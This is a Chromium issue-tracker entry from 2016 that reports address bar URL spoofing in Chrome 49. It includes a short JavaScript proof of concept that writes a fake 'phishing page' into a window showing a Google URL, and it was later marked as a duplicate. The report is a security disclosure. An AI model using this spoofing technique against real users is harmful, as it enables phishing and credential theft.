Issue metadata
Sign in to add a comment
|
Security: Google Chorme Browser 49.0.2623.110 m - Address Bar URL Spoofing
Reported by
junjian2...@gmail.com,
May 6 2016
|
||||||||||||||||||||
Issue description
Google Chorme Browser - Address Bar URL Spoofing
Chorme Browser Version : 49.0.2623.110 m
POC:
<SCRIPT LANGUAGE="JavaScript">
function winopen()
{
OW=window.open("", "newwindow");
OW.document.write("<TITLE>Google</TITLE>");
OW.document.write("<h1>The Phishing Page !!</h1>");
OW.document.close();
}
</SCRIPT>
<a href="https://www.google.com.hk/" target="newwindow" onclick="setTimeout('winopen()', 1);">Google Home Page</a>
,
Oct 2 2016
,
Dec 9 2016
Security>UX component is deprecated in favor of the Team-Security-UX label |
|||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||
Comment 1 by f...@chromium.org
, May 6 2016Labels: -Restrict-View-SecurityTeam
Mergedinto: 466422
Status: Duplicate (was: Unconfirmed)